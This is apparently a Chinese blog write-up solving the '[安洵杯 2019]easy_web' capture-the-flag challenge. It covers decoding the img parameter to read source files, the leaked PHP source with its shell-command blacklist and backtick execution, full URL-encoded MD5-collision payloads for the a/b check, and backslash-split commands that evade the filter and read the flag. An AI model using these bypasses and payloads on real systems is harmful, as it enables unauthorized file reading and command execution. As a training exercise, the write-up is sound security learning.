打开环境

源码中只有一个md is funny
然后URL有一个img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
先试试模板注入发现不行,然后伪协议也不行,再爆破目录也不行
所以再试着去把前面的照片先解码了

TXpVek5UTTFNbVUzTURabE5q

base64两次解码得到

3535352e706e67

再16进制转字符串得到

555.png

发现这里应该是突破口
所以我们试着来一下
直接用这个点读flag.php
先16进制编码
再两次base64编码

TmpZMll6WXhOamN5WlRjd05qZzNNQT09

传上去得到

有返回,那说明我们方向对了,但是关键词应该被过滤掉了
那我们试着读其他的 试试hint.php

发现没有提示
那就再试试index.php

确实有东西
进行解码得到

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi~ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>

重要的是这里

if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))

我之前的博客有这个内容
用fastcoll实现这篇文章有讲过

再进行验证

<?php
function readmyfile($path){$fh=fopen($path,"rb");$data=fread($fh,filesize($path));fclose($fh);return$data;
}
//echo md5( (readmyfile("1.txt")));
//echo '============================';
//echo urlencode(readmyfile("1.txt"));
//echo md5( (readmyfile("2.txt")));
//echo '============================';
//echo urlencode(readmyfile("2.txt"));
if(md5((readmyfile("1.txt"))) === md5((readmyfile("2.txt"))))
{if ((string)(readmyfile("1.txt")) !== (string)(readmyfile("2.txt")))echo 1;
elseecho 2;}
elseecho 3;


发现成功绕过
然后把我们的内容进行url编码

<?php
function readmyfile($path){$fh=fopen($path,"rb");$data=fread($fh,filesize($path));fclose($fh);return$data;
}
//echo md5( (readmyfile("1.txt")));
//echo '============================';
echo urlencode(readmyfile("1.txt"));
//echo md5( (readmyfile("2.txt")));
echo '============================';
echo urlencode(readmyfile("2.txt"));
//if(md5((readmyfile("1.txt"))) === md5((readmyfile("2.txt"))))
//{if ((string)(readmyfile("1.txt")) !== (string)(readmyfile("2.txt")))//echo 1;
//else//echo 2;}
//else//echo 3;
a=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%14%9E%C7%E6G%D6%06%8Bq%3B%AC%93z%1E%FAz%0B%FC%F8%A2%DDX%2FN%03%CAv%A6%2C%2A%16%0B%9B%DD%F8%CB%CA%07%E8%FD%0Bd%F1%9B%3BD%8EI%C7v.%5Db%2C%CDIV%FB%F3%C0%3B1%FD%CB%81NL%14%A5%0F%13%FD%A7%E9%B7%F1Cx%27E%1A%F0%A0%3B%17%F5+b%C1%D7%F5%CC%CD%29%5D.%F5%60%9E%FE%3EJ%AF%16%D3%83%BD%AF%A0-mJ%CE%D3%9B%DF%08%99%F41%22%D7%1E%7E%F4%28%99%7B&&b=123%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%14%9E%C7%E6G%D6%06%8Bq%3B%AC%93z%1E%FAz%0B%FC%F8%22%DDX%2FN%03%CAv%A6%2C%2A%16%0B%9B%DD%F8%CB%CA%07%E8%FD%0Bd%F1%9B%3B%C4%8EI%C7v.%5Db%2C%CDIV%FB%F3%40%3B1%FD%CB%81NL%14%A5%0F%13%FD%A7%E9%B7%F1Cx%27E%1A%F0%A0%BB%17%F5+b%C1%D7%F5%CC%CD%29%5D.%F5%60%9E%FE%3EJ%AF%16%D3%83%BD%AF%A0%ADlJ%CE%D3%9B%DF%08%99%F41%22%D7%1E%FE%F4%28%99%7B

这里cmd过滤了很多东西
但是dir没有被过滤可以直接用
ls的过滤可以用了l\s绕过
我们先查看当前目录

发现成功绕过
说明md5那里很成功
然后进行根目录查看
在burp中如果使用空格会被识别为其他的参数,所以这里空格用%20替换,ls中间使用反斜杠隔开:l\s%20/
dir%20\ 或者l\s%20\

发现flag
所以c\at%20/f\l\a\g
得到flag

希望这篇文章能够帮助你!

[安洵杯 2019]easy_web 1相关推荐

  1. 【学习笔记17】buu [安洵杯 2019]easy_web

    点开网站后就看到这样一个网站,在查看url的时候看到img的这个参数有问题,研究一下,发现这串"TXpVek5UTTFNbVUzTURabE5qYz0"字符,经过两次base64解 ...

  2. BUUCTF [安洵杯 2019]easy_serialize_php

    考点: 变量覆盖.反序列化中的对象逃逸 题目地址:BUUCTF在线评测 源码如下: <?php$function = @$_GET['f'];function filter($img){$fil ...

  3. 【BUUCTF】[安洵杯 2019]吹着贝斯扫二维码

    题目链接:[安洵杯 2019]吹着贝斯扫二维码. 下载压缩包解压得到这么一些文件,可以看到一堆未知类型文件和一个flag.zip 老规矩,把这些没有拓展名的文件用010Editor打开,发现都是jpg ...

  4. [安洵杯 2019]吹着贝斯扫二维码

    [安洵杯 2019]吹着贝斯扫二维码 压缩包解压后得到一些无后缀文件,和一个flag.zip 查看flag.zip内容发现尾部有类似base32的数据,先不管去看那些文件(这题其实可以用不到其他文件) ...

  5. BUUCTF:[安洵杯 2019]不是文件上传

    这题和攻防世界XCTF:upload有点像,看似上传却都不是上传是上传图片的文件名注入 参考:安洵杯2019 官方Writeup 获取源码 在网站首页存在一些信息 在gihtub找得到源码 BUU也给 ...

  6. [安洵杯 2019]iamthinking

    /www.zip下载源码审计 通过README可以看到是ThinkPHP6.0. 当前只能访问到/public/index.php, 关于这个框架的index.php [thinkphp6源码分析一 ...

  7. 第二届安洵杯2019部分writeup

    Web easy_web 参数可疑:?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= TXpVek5UTTFNbVUzTURabE5qYz0进行两次base64解密, ...

  8. 【安洵杯 2019】easy-web

    涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...

  9. [安洵杯 2019]Attack (详细解析)

    (*本文使用工具,均为windows系统,这些工具kali系统自带,有的人不喜欢用kali系统,主页有windows下载资源) 题目链接: https://buuoj.cn/challenges#[% ...

最新文章

  1. 用python客户画像代码_客户画像与标签体系-Python数据科学技术详解与商业项目实战精讲 - Python学习网...
  2. java 开源sns_JEESNS V1.0发布,JAVA 开源 SNS 社交系统
  3. PHP获取当前时间戳,当前时间、及解决时区问题
  4. 程序员面试系列——约瑟夫环
  5. WebView 和JS 之间交互
  6. [html] websocket可以携带cookie吗?为什么?如果可以,怎样做到呢?
  7. 开源开放 | 一个用于知识驱动的零样本学习研究的开源数据集KZSL(CCKS2021)
  8. 计算机图形学颜色表示,计算机图形学 颜色表示模型.ppt
  9. c语言程序设计基础的考试题,c语言程序设计基础的考试题.doc
  10. sangfor设备升级系统_H3C IPS入侵防御系统配置
  11. 谷歌有情怀!谷歌开放大规模音频数据集 AudioSet
  12. 小白记事本--JAVA入门
  13. 在linux系统装软件,在linux系统中如何安装软件
  14. C语言比赛评分系统报告,c语言编程:本课题模拟一个简单的比赛评分系统,选手从1号开始连续编号,选手得分分为专业素质得分和综...
  15. VisualC++6.0如何打开之前的程序
  16. 数学猜想验证步骤_小学数学思维之猜想验证法
  17. 防火墙导致的VNC连接服务器超时10060错误问题解决
  18. 浅析RTB和RTA(一)
  19. 第4章 设计目标与原则
  20. Spring 集成与分片详解

热门文章

  1. matlab中的节点注入功率是如何定义的,节点注入功率
  2. 网络信息安全:消息认证
  3. MT管理器和高级终端Termux
  4. 2022年计算机软件水平考试信息安全工程师(中级)练习题及答案
  5. 孤狼电商店群全套教程:店群基础+2.0精细化蓝海+深度蓝海+裂变课程2.0
  6. 【学习笔记】云服务器入门教程(搭建云盘、网站,安装anaconda、WinSCP、宝塔面板等)
  7. [CF1179E]Alesya and Discrete Mat
  8. 普里姆(Prim)算法和克鲁斯卡尔(Kruskal)算法
  9. 关键词提取(三种免费工具)
  10. socket编程实现SMTP邮件客户端